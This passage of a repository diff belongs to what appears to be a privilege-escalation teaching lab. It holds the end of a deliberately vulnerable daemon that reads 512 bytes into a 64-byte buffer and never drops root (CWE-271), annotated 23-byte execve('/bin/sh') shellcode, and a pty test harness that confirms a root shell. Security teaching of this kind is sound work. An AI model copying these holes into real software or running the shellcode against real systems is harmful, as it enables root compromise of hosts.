* after the listen() succeeds. In this lab it is deliberately absent from
|
||||||
|
* main(), because the lab NEEDS the accept-loop children to stay root. The
|
||||||
|
* commented function is your diff: the two missing calls at the point marked
|
||||||
|
* "*** see drop_privs() ***" below are the entire exploit surface (Bug #3,
|
||||||
|
* CWE-271: privilege not dropped before handling untrusted input).
|
||||||
|
*/
|
||||||
|
__attribute__((unused))
|
||||||
|
static void drop_privs(void)
|
||||||
|
{
|
||||||
|
/* Order matters: setgroups() first (a non-root user may not), then
|
||||||
|
* setgid(), then setuid(). Never the reverse. */
|
||||||
|
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
|
||||||
|
(void)setgid(1000); /* Lose group privileges. */
|
||||||
|
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
|
||||||
|
_exit(1); /* If we cannot drop, FAIL CLOSED. */
|
||||||
|
|
||||||
|
/* Verify. getuid()/geteuid() are cheap; a privileged program whose drop
|
||||||
|
* failed silently is a root hole wearing a costume. */
|
||||||
|
if (getuid() != 1000 || geteuid() != 1000)
|
||||||
|
_exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* Per-connection handling */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static void handle_client(int fd)
|
||||||
|
{
|
||||||
|
static const char banner[] =
|
||||||
|
"FOOWOSD 1.0 - deliberately vulnerable daemon (no setuid bit: root is\n"
|
||||||
|
"here because this process was started as root).\n"
|
||||||
|
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
|
||||||
|
|
||||||
|
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
|
||||||
|
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
|
||||||
|
|
||||||
|
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
|
||||||
|
|
||||||
|
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
|
||||||
|
send_leaks(STDOUT_FILENO);
|
||||||
|
|
||||||
|
vulnerable_handler(STDOUT_FILENO);
|
||||||
|
|
||||||
|
/* Only reached when the payload did NOT hijack RIP. */
|
||||||
|
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
|
||||||
|
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
/* The server loop */
|
||||||
|
/* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static int make_listener(const char *host, int port)
|
||||||
|
{
|
||||||
|
struct sockaddr_in addr;
|
||||||
|
int fd;
|
||||||
|
int one = 1;
|
||||||
|
|
||||||
|
fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (fd < 0) {
|
||||||
|
logmsg("socket() failed: %s", strerror(errno));
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
|
||||||
|
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
|
||||||
|
|
||||||
|
memset(&addr, 0, sizeof(addr));
|
||||||
|
addr.sin_family = AF_INET;
|
||||||
|
addr.sin_port = htons((uint16_t)port);
|
||||||
|
|
||||||
|
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
|
||||||
|
logmsg("bad bind address: %s", host);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (port < 1 || port > 65535) {
|
||||||
|
logmsg("port out of range: %d", port);
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
|
||||||
|
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (listen(fd, 16) < 0) {
|
||||||
|
logmsg("listen() failed: %s", strerror(errno));
|
||||||
|
close(fd);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void usage(const char *argv0)
|
||||||
|
{
|
||||||
|
fprintf(stderr,
|
||||||
|
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
|
||||||
|
"\n"
|
||||||
|
" -h HOST address to bind (default %s -- loopback only!\n"
|
||||||
|
" -L is required to bind anywhere else)\n"
|
||||||
|
" -p PORT TCP port to listen on (default %d)\n"
|
||||||
|
" -d daemonise: fork into the background\n"
|
||||||
|
" -L ALLOW binding to a non-loopback address (dangerous:\n"
|
||||||
|
" this daemon exists to be exploited as ROOT)\n"
|
||||||
|
"\n"
|
||||||
|
"This lab gives you a ROOT shell only when the daemon was STARTED\n"
|
||||||
|
"as root (sudo make run-root). There is no setuid bit anywhere.\n"
|
||||||
|
"Do not run it on any host that matters, never bind it beyond\n"
|
||||||
|
"loopback, and do not leave it running as root.\n",
|
||||||
|
argv0, FOOWOSD_HOST, FOOWOSD_PORT);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
const char *host = FOOWOSD_HOST; /* Bind address. */
|
||||||
|
int port = FOOWOSD_PORT; /* Bind port. */
|
||||||
|
int daemonise = 0; /* -d. */
|
||||||
|
int allow_nonloopback = 0; /* -L. The root-daemon safety guard. */
|
||||||
|
int lfd; /* Listening socket. */
|
||||||
|
int i; /* getopt() index. */
|
||||||
|
|
||||||
|
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
|
||||||
|
switch (i) {
|
||||||
|
case 'h': host = optarg; break;
|
||||||
|
case 'p': port = atoi(optarg); break;
|
||||||
|
case 'd': daemonise = 1; break;
|
||||||
|
case 'L': allow_nonloopback = 1; break;
|
||||||
|
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
|
||||||
|
usage(argv[0]);
|
||||||
|
return 2;
|
||||||
|
default: usage(argv[0]);
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* THE ROOT-DAEMON SAFETY GUARD.
|
||||||
|
*
|
||||||
|
* A daemon that is running as root (it was started as root -- there is
|
||||||
|
* no +s bit here, so this state is easy to forget) and listens on a
|
||||||
|
* non-loopback interface is a remote root service. Refuse by default,
|
||||||
|
* document the exception, fail loudly.
|
||||||
|
*/
|
||||||
|
if (!allow_nonloopback &&
|
||||||
|
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
|
||||||
|
strcmp(host, "::1") != 0)) {
|
||||||
|
fprintf(stderr,
|
||||||
|
"foowosd: refusing to bind %s: this daemon may be running as\n"
|
||||||
|
" root. Loopback is the only permitted default. If you\n"
|
||||||
|
" really know what you are doing, pass -L.\n", host);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
|
||||||
|
|
||||||
|
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
|
||||||
|
g_logfd = dup(STDOUT_FILENO);
|
||||||
|
if (g_logfd < 0) {
|
||||||
|
g_logfd = STDOUT_FILENO;
|
||||||
|
fprintf(stderr, "foowosd: warning: could not reserve a log descriptor\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* SELF-DIAGNOSIS OF THE "AM I ROOT ?" STATE -- printed once, to the log.
|
||||||
|
*
|
||||||
|
* ruid==euid==0 -> started as root: the exploit gives root
|
||||||
|
* ruid==euid!=0 -> started as a normal user: baseline only
|
||||||
|
*
|
||||||
|
* foowosc reads euid over the socket and can warn too; this log line is
|
||||||
|
* for you at the console.
|
||||||
|
*/
|
||||||
|
logmsg("startup: ruid=%d euid=%d %s",
|
||||||
|
(int)getuid(), (int)geteuid(),
|
||||||
|
(geteuid() == 0) ? "-> ROOT process"
|
||||||
|
: "-> NOT root (start as root: make run-root)");
|
||||||
|
|
||||||
|
if (geteuid() == 0)
|
||||||
|
logmsg("startup: WARNING: this daemon is running as root -- no setuid "
|
||||||
|
"bit involved, just a root-started process. Port %d does not "
|
||||||
|
"need root; see drop_privs().", port);
|
||||||
|
|
||||||
|
lfd = make_listener(host, port);
|
||||||
|
if (lfd < 0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
|
||||||
|
"VULNERABLE", host, port, (int)getpid());
|
||||||
|
|
||||||
|
if (daemonise) {
|
||||||
|
/* Standard double fork so we cannot acquire a controlling terminal. */
|
||||||
|
pid_t p1 = fork();
|
||||||
|
if (p1 < 0) { perror("fork"); return 1; }
|
||||||
|
if (p1 > 0) _exit(0);
|
||||||
|
if (setsid() < 0) perror("setsid");
|
||||||
|
pid_t p2 = fork();
|
||||||
|
if (p2 < 0) { perror("fork"); return 1; }
|
||||||
|
if (p2 > 0) _exit(0);
|
||||||
|
if (chdir("/") < 0) perror("chdir");
|
||||||
|
umask(022);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- The accept loop. Each child serves one connection. The children
|
||||||
|
* stay root because the parent was started as root. ---- */
|
||||||
|
for (;;) {
|
||||||
|
struct sockaddr_in peer;
|
||||||
|
socklen_t plen = sizeof(peer);
|
||||||
|
int cfd;
|
||||||
|
pid_t pid;
|
||||||
|
|
||||||
|
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
|
||||||
|
if (cfd < 0) {
|
||||||
|
if (errno == EINTR || errno == ECONNABORTED)
|
||||||
|
continue;
|
||||||
|
logmsg("accept() failed: %s", strerror(errno));
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fork per connection. The child KEEPS the root privileges -- that
|
||||||
|
* is Bug #3 in this lab, "no privilege drop before handling
|
||||||
|
* untrusted input" (CWE-271). See drop_privs() above for the exact
|
||||||
|
* calls a well-written daemon would make at this point, and why the
|
||||||
|
* order of those three calls is security-critical.
|
||||||
|
*/
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
logmsg("fork() failed: %s", strerror(errno));
|
||||||
|
close(cfd);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
close(lfd);
|
||||||
|
handle_client(cfd);
|
||||||
|
_exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(cfd);
|
||||||
|
}
|
||||||
|
}
|
||||||
124
wosuid/shellcode.S
Normal file
124
wosuid/shellcode.S
Normal file
|
|
@ -0,0 +1,124 @@
|
||||||
|
; ============================================================================
|
||||||
|
; shellcode.S -- the reference shellcode for the wosuid lab (foowosc)
|
||||||
|
; ============================================================================
|
||||||
|
;
|
||||||
|
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
|
||||||
|
; array in foowosc.c is exactly the machine code you would get from
|
||||||
|
; assembling these instructions. It is not used by the exploit, which carries
|
||||||
|
; the bytes inline so it has no runtime dependency on nasm.
|
||||||
|
;
|
||||||
|
; make verify-shellcode assembles this and diffs it against foowosc.c
|
||||||
|
;
|
||||||
|
; WHAT IT DOES
|
||||||
|
; ------------
|
||||||
|
; execve("/bin/sh", argv = NULL, envp = NULL)
|
||||||
|
;
|
||||||
|
; 23 bytes that turn the process into a shell -- byte-identical to the
|
||||||
|
; shellcode in the parent lab's fooc.c.
|
||||||
|
;
|
||||||
|
; WHY 23 BYTES AND NOT 32 -- the difference between the labs, in one payload
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; The SUID lab (foosd/foosc) needed a 32-byte shellcode that prefixed
|
||||||
|
; setreuid(0,0). Why:
|
||||||
|
;
|
||||||
|
; * a setuid-root binary gives the process euid 0 but LEAVES ruid = the
|
||||||
|
; launching user (1000);
|
||||||
|
; * bash (and dash) check `euid != ruid` at startup and, absent `-p`,
|
||||||
|
; reset euid = ruid -- the shell's own guard against this attack;
|
||||||
|
; * so a plain execve("/bin/sh") from a *setuid* process yields a shell
|
||||||
|
; that has quietly dropped root; the real uid must be cleared first.
|
||||||
|
;
|
||||||
|
; THIS lab deliberately has NO setuid bit. The daemon is root because it was
|
||||||
|
; STARTED as root: real uid 0, effective uid 0, saved uid 0. fork() inherits
|
||||||
|
; all three, execve() changes none of them, and bash starts with equal uid 0s
|
||||||
|
; -- the guard has nothing to reset, so the plain execve keeps root. The
|
||||||
|
; same 23 bytes that pwnd the user-level `food` daemon in the parent lab
|
||||||
|
; open a ROOT shell here, because the process they run inside is already
|
||||||
|
; fully root.
|
||||||
|
;
|
||||||
|
; The setuid bit transfers privilege; it is not the privilege itself. When a
|
||||||
|
; root-started daemon is exploited, the outcome is identical to exploiting a
|
||||||
|
; setuid binary -- minus the need to fiddle with the real uid.
|
||||||
|
;
|
||||||
|
; Register usage follows the System V AMD64 ABI: first integer args in
|
||||||
|
; rdi, rsi, rdx; syscall number in rax.
|
||||||
|
; ============================================================================
|
||||||
|
|
||||||
|
BITS 64
|
||||||
|
|
||||||
|
; section .text -- mark it executable, the default, so `nasm -f bin` emits
|
||||||
|
; the instruction bytes with no ELF wrapper around them.
|
||||||
|
section .text
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; xor esi, esi
|
||||||
|
; rsi = 0 -> argv = NULL
|
||||||
|
;
|
||||||
|
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5)
|
||||||
|
; and the classic x86 idiom for producing a zero without a memory operand.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
xor esi, esi
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; xor edx, edx
|
||||||
|
; rdx = 0 -> envp = NULL
|
||||||
|
;
|
||||||
|
; argv = NULL lets the kernel synthesise argv[0] from the pathname, and
|
||||||
|
; envp = NULL gives the new program an empty environment. The shell runs
|
||||||
|
; fine but with no PATH, so `id` and `uname` work and bare `vi` does not --
|
||||||
|
; a small detail that surprises people, and the reason the relayed local
|
||||||
|
; side of the exploit never relies on a PATH-based command.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
xor edx, edx
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; movabs rdi, 0x68732f6e69622f
|
||||||
|
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
|
||||||
|
;
|
||||||
|
; Read the immediate right-to-left as bytes and it spells the string out.
|
||||||
|
; That packing is the whole trick: eight bytes of payload in a ten-byte
|
||||||
|
; instruction, no data section, no relocation, no alignment padding.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
movabs rdi, 0x68732f6e69622f
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; push rdi
|
||||||
|
; Put those eight bytes on the stack, where a string has to live so that a
|
||||||
|
; register can point at it. The stack is writable and lives at an
|
||||||
|
; attacker-chosen address, so this is the position-independent way to
|
||||||
|
; materialise a string constant inside a payload that has no .data.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
push rdi
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; mov rdi, rsp
|
||||||
|
; rdi = the address of the string we just pushed = argv[0] as well as the
|
||||||
|
; pathname. Reusing one buffer for both is legal; the kernel only reads the
|
||||||
|
; pathname before it sets up the new stack, and by then argv[0] is copied.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
mov rdi, rsp
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; push 0x3b
|
||||||
|
; pop rax
|
||||||
|
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
|
||||||
|
;
|
||||||
|
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
|
||||||
|
; 1 = write, 2 = open, ..., 59 = execve. `push 0x3b; pop rax` is the
|
||||||
|
; idiomatic 2-byte way to load a small constant; `mov eax, 0x3b` is 5.
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
push 0x3b
|
||||||
|
pop rax
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
; syscall
|
||||||
|
; Trap into the kernel. On return, either we are a shell (success) or we
|
||||||
|
; are handed a -errno in rax and fall off the end of the payload (failure).
|
||||||
|
; ---------------------------------------------------------------------------
|
||||||
|
syscall
|
||||||
|
|
||||||
|
; Note what is NOT here:
|
||||||
|
; * no setreuid -- the process was started as root, so ruid is already 0
|
||||||
|
; (compare the 32-byte variant in the suid lab, which had to clear it).
|
||||||
|
; * no `ret` -- execve does not return.
|
||||||
|
; * no `nop` sled -- we jump straight to the first byte.
|
||||||
278
wosuid/tests/pty_wosuid_test.c
Normal file
278
wosuid/tests/pty_wosuid_test.c
Normal file
|
|
@ -0,0 +1,278 @@
|
||||||
|
/*
|
||||||
|
* pty_wosuid_test.c -- test harness: drive ./foowosc through a
|
||||||
|
* pseudo-terminal so the interactive shell it hands over to has a real
|
||||||
|
* terminal.
|
||||||
|
*
|
||||||
|
* Why a pty at all: the exploit's last act is to relay the user's terminal
|
||||||
|
* to the shell running on the victim. Anything already sitting on the real
|
||||||
|
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
|
||||||
|
* commands must arrive via a real tty. This harness supplies one.
|
||||||
|
*
|
||||||
|
* What it proves, and in what order:
|
||||||
|
*
|
||||||
|
* SHELL the marker literal comes back AND real `id` output appears.
|
||||||
|
* Both are required because the marker alone also occurs in the
|
||||||
|
* command line we typed *to* the pty, so any harness that does not
|
||||||
|
* disable echo (see below) scores a false positive.
|
||||||
|
*
|
||||||
|
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
|
||||||
|
* really runs with uid 0. That can only come from a live `id`
|
||||||
|
* executed by a uid-0 shell, and it is the entire claim of this
|
||||||
|
* lab: foowosd was STARTED as root (no setuid bit anywhere), and
|
||||||
|
* the RCE therefore lands a root shell.
|
||||||
|
*
|
||||||
|
* Flags:
|
||||||
|
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
|
||||||
|
* Used by `make test-root` for every technique, because when
|
||||||
|
* the daemon is running as root ALL of them must escalate.
|
||||||
|
* --dump FILE write the raw transcript for post-mortem analysis.
|
||||||
|
*
|
||||||
|
* Exit status without --must-root: 0 when a shell is proven (marker + uid=).
|
||||||
|
* That is how `make test` runs the baseline against a non-root daemon.
|
||||||
|
*
|
||||||
|
* Two false-positive traps, both learned the hard way in earlier labs:
|
||||||
|
*
|
||||||
|
* 1. ECHO. The pty must run cooked but with ECHO off. With ECHO on, the
|
||||||
|
* pty mirrors our own keystrokes back into the transcript, the command
|
||||||
|
* line "echo WOSUID-OK" supplies the marker, and the harness reports
|
||||||
|
* success whether or not any shell ever ran. ECHONL stays on so the
|
||||||
|
* newline still comes back.
|
||||||
|
*
|
||||||
|
* 2. "uid=" as a bare substring. foowosc's own diagnostics print
|
||||||
|
* "target euid=0 ruid=0", and both "euid=" and "ruid=" CONTAIN "uid=".
|
||||||
|
* So id_output must require the exact `id` output shape -- "uid="
|
||||||
|
* followed by digits and a parenthesis -- and even then the banner is
|
||||||
|
* printed as "ids=..." precisely so it can never look like `id`.
|
||||||
|
*/
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <errno.h> /* strerror(). */
|
||||||
|
#include <fcntl.h> /* open(), O_RDWR. */
|
||||||
|
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
|
||||||
|
#include <stdio.h> /* printf() and friends. */
|
||||||
|
#include <stdlib.h> /* _exit(). */
|
||||||
|
#include <string.h> /* strstr(). */
|
||||||
|
#include <sys/wait.h> /* waitpid(). */
|
||||||
|
#include <sys/select.h>/* select(): timeout without a busy loop. */
|
||||||
|
#include <termios.h> /* tcgetattr()/tcsetattr(). */
|
||||||
|
#include <signal.h> /* kill(), SIGKILL. */
|
||||||
|
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
|
||||||
|
|
||||||
|
/* The literal we ask the remote shell to print; seeing it come back (with
|
||||||
|
* ECHO off) proves a shell really echoed it from the other side. */
|
||||||
|
#define MARKER "WOSUID-OK"
|
||||||
|
|
||||||
|
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
|
||||||
|
* older "uid=0( root)"-style output of any id implementation; only 'id' can
|
||||||
|
* print this line, and the parenthesis rules out foowosc/foowosd chatter. */
|
||||||
|
#define ROOTOUT "uid=0("
|
||||||
|
|
||||||
|
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
|
||||||
|
* by one or more digits and then '(' . That is the signature of `id`'s
|
||||||
|
* output and of nothing foowosc or foowosd prints (see the header comment's
|
||||||
|
* trap #2: foowosc's own "euid=… ruid=…" chatter contains "uid="). */
|
||||||
|
static int saw_real_uid_output(const char *t)
|
||||||
|
{
|
||||||
|
const char *p = t;
|
||||||
|
while ((p = strstr(p, "uid=")) != NULL) {
|
||||||
|
const char *q = p + 4; /* past "uid=" */
|
||||||
|
int digits = 0;
|
||||||
|
while (*q >= '0' && *q <= '9') {
|
||||||
|
q++;
|
||||||
|
digits++;
|
||||||
|
}
|
||||||
|
if (digits > 0 && *q == '(')
|
||||||
|
return 1;
|
||||||
|
p = q; /* keep scanning for the next "uid=". */
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Everything the pty has ever produced, scanned after every drain so a
|
||||||
|
* marker straddling a read() boundary cannot be missed. */
|
||||||
|
static char transcript[65536];
|
||||||
|
|
||||||
|
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
|
||||||
|
* and append to the transcript. select() with a deadline keeps us from
|
||||||
|
* spinning while the (interactive, silent) shell thinks. */
|
||||||
|
static int drain_master(int master, int ms)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
fd_set rfds;
|
||||||
|
int total = 0;
|
||||||
|
char buf[4096];
|
||||||
|
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(master, &rfds);
|
||||||
|
tv.tv_sec = ms / 1000;
|
||||||
|
tv.tv_usec = (ms % 1000) * 1000;
|
||||||
|
|
||||||
|
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
|
||||||
|
ssize_t n = read(master, buf, sizeof(buf));
|
||||||
|
if (n <= 0)
|
||||||
|
break;
|
||||||
|
fwrite(buf, 1, (size_t)n, stdout);
|
||||||
|
fflush(stdout);
|
||||||
|
total += (int)n;
|
||||||
|
if ((size_t)total < sizeof(transcript) - 1)
|
||||||
|
strncat(transcript, buf, (size_t)n);
|
||||||
|
|
||||||
|
/* A chatty peer should not hold us forever: reset the deadline. */
|
||||||
|
FD_ZERO(&rfds);
|
||||||
|
FD_SET(master, &rfds);
|
||||||
|
tv.tv_sec = 0;
|
||||||
|
tv.tv_usec = 200000;
|
||||||
|
}
|
||||||
|
return total;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char *technique_of(int argc, char **argv)
|
||||||
|
{
|
||||||
|
for (int i = 1; i + 1 < argc; i++)
|
||||||
|
if (strcmp(argv[i], "-t") == 0)
|
||||||
|
return argv[i + 1];
|
||||||
|
return "(default: shellcode)";
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
int master;
|
||||||
|
char slave_name[256];
|
||||||
|
struct termios saved;
|
||||||
|
int have_saved = 0;
|
||||||
|
pid_t pid;
|
||||||
|
int ok = 0; /* marker seen */
|
||||||
|
int saw_id = 0; /* "uid=NNN(" seen: real program ran */
|
||||||
|
int saw_root = 0; /* "uid=0(" seen: it was uid 0 */
|
||||||
|
int must_root = 0; /* --must-root flag */
|
||||||
|
int round;
|
||||||
|
|
||||||
|
/* True when --must-root is present: the verdict then demands uid 0. */
|
||||||
|
for (int i = 1; i < argc; i++)
|
||||||
|
if (strcmp(argv[i], "--must-root") == 0)
|
||||||
|
must_root = 1;
|
||||||
|
|
||||||
|
/* ---- 1. Allocate a pty. ------------------------------------------ */
|
||||||
|
master = posix_openpt(O_RDWR);
|
||||||
|
if (master < 0) {
|
||||||
|
perror("posix_openpt");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (grantpt(master) < 0 || unlockpt(master) < 0) {
|
||||||
|
perror("grantpt/unlockpt");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
|
||||||
|
perror("ptsname_r");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 2. Fork; the child becomes the pty slave and execs foowosc. -- */
|
||||||
|
pid = fork();
|
||||||
|
if (pid < 0) {
|
||||||
|
perror("fork");
|
||||||
|
return 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pid == 0) {
|
||||||
|
int s;
|
||||||
|
char *args[64];
|
||||||
|
int n = 0;
|
||||||
|
|
||||||
|
if (setsid() < 0)
|
||||||
|
_exit(127);
|
||||||
|
s = open(slave_name, O_RDWR);
|
||||||
|
if (s < 0)
|
||||||
|
_exit(127);
|
||||||
|
dup2(s, STDIN_FILENO);
|
||||||
|
dup2(s, STDOUT_FILENO);
|
||||||
|
dup2(s, STDERR_FILENO);
|
||||||
|
if (s > STDERR_FILENO)
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
/* Forward everything except our own --must-root / --dump plumbing,
|
||||||
|
* which foowosc's getopt() would reject. */
|
||||||
|
args[n++] = (char *)"./foowosc";
|
||||||
|
for (int i = 1; i < argc && n < 63; i++) {
|
||||||
|
if (strcmp(argv[i], "--must-root") == 0)
|
||||||
|
continue;
|
||||||
|
if (strcmp(argv[i], "--dump") == 0) {
|
||||||
|
i++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
args[n++] = argv[i];
|
||||||
|
}
|
||||||
|
args[n] = NULL;
|
||||||
|
execv(args[0], args);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
|
||||||
|
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
|
||||||
|
* ECHO off is load-bearing (trap #1 above). ECHONL stays on so we still
|
||||||
|
* see the newline when the pty processes our input. */
|
||||||
|
if (tcgetattr(master, &saved) == 0) {
|
||||||
|
struct termios quiet = saved;
|
||||||
|
have_saved = 1;
|
||||||
|
quiet.c_lflag &= ~(tcflag_t)ECHO;
|
||||||
|
quiet.c_lflag |= ECHONL;
|
||||||
|
tcsetattr(master, TCSANOW, &quiet);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 4. Wait out foowosc's analysis + connect + payload phases. --- */
|
||||||
|
for (round = 0; round < 12; round++)
|
||||||
|
drain_master(master, 250);
|
||||||
|
|
||||||
|
/* ---- 5. Type the proof commands. --------------------------------- */
|
||||||
|
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
|
||||||
|
|
||||||
|
/* ---- 6. Read until we have the signals we need (or give up). ----- */
|
||||||
|
for (round = 0; round < 20; round++) {
|
||||||
|
drain_master(master, 250);
|
||||||
|
|
||||||
|
/* Rescan the WHOLE transcript, not the latest chunk: strings can
|
||||||
|
* straddle read() boundaries. */
|
||||||
|
if (strstr(transcript, MARKER) != NULL) ok = 1;
|
||||||
|
if (saw_real_uid_output(transcript)) saw_id = 1;
|
||||||
|
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
|
||||||
|
|
||||||
|
/* --must-root: require everything. Otherwise require a live shell. */
|
||||||
|
if (must_root) {
|
||||||
|
if (ok && saw_id && saw_root)
|
||||||
|
break;
|
||||||
|
} else if (ok && saw_id) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- 7. Tidy up. ------------------------------------------------- */
|
||||||
|
kill(pid, SIGKILL);
|
||||||
|
waitpid(pid, NULL, 0);
|
||||||
|
if (have_saved)
|
||||||
|
tcsetattr(master, TCSANOW, &saved);
|
||||||
|
close(master);
|
||||||
|
|
||||||
|
/* Optional --dump for post-mortems: pty_wosuid_test -t shellcode --dump x */
|
||||||
|
for (int i = 1; i + 1 < argc; i++) {
|
||||||
|
if (strcmp(argv[i], "--dump") == 0) {
|
||||||
|
FILE *f = fopen(argv[i + 1], "w");
|
||||||
|
if (f != NULL) {
|
||||||
|
fwrite(transcript, 1, strlen(transcript), f);
|
||||||
|
fclose(f);
|
||||||
|
fprintf(stderr, "[pty_wosuid_test] transcript (%zu bytes) -> %s\n",
|
||||||
|
strlen(transcript), argv[i + 1]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr,
|
||||||
|
"\n[pty_wosuid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
|
||||||
|
technique_of(argc, argv),
|
||||||
|
ok ? "SEEN" : "MISSING",
|
||||||
|
saw_id ? "SEEN" : "MISSING",
|
||||||
|
saw_root ? "SEEN" : "MISSING");
|
||||||
|
|
||||||
|
if (must_root)
|
||||||
|
return (ok && saw_id && saw_root) ? 0 : 1;
|
||||||
|
return (ok && saw_id) ? 0 : 1;
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue